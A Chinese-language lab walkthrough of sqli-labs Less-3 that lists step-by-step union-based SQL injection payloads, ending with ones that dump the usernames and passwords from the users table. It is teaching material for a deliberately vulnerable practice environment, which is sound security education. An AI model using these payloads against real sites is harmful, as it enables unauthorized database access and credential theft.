sqli-labs Less-3

本系列文章使用的靶场环境为sqli-labs

环境下载地址:https://github.com/Audi-1/sqli-labs

1.判断注入类型

index.php?id=1'

 

从这里可以猜出Less-3为单引号括号')的字符型注入,下面我们可以验证一下。

 

index.php?id=1') --+

2.猜字段数

 

index.php?id=1') order by 4 --+

 

index.php?id=1') order by 3 --+

 

order by 4时报错,order by 3时显示正常,说明当前数据库当前表存在3个字段。

3.使用联合查询查看页面的显示位

 

index.php?id=-1') union select 1,2,3 --+

 

这里需要注意的是id需要是一个数据库中不存在的id,因为只有这样,页面才会显示我们后面联合查询的数据。我们可以看到2,3被显示在了页面上。

4.爆出数据库版本和当前数据库名

 

index.php?id=-1') union select 1,version(),database() --+

5.爆出所有数据库

 

index.php?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+

6.爆出当前数据库所有表

 

index.php?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

7.查询当前数据库users表所有字段

 

index.php?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

8.查询数据

 

index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值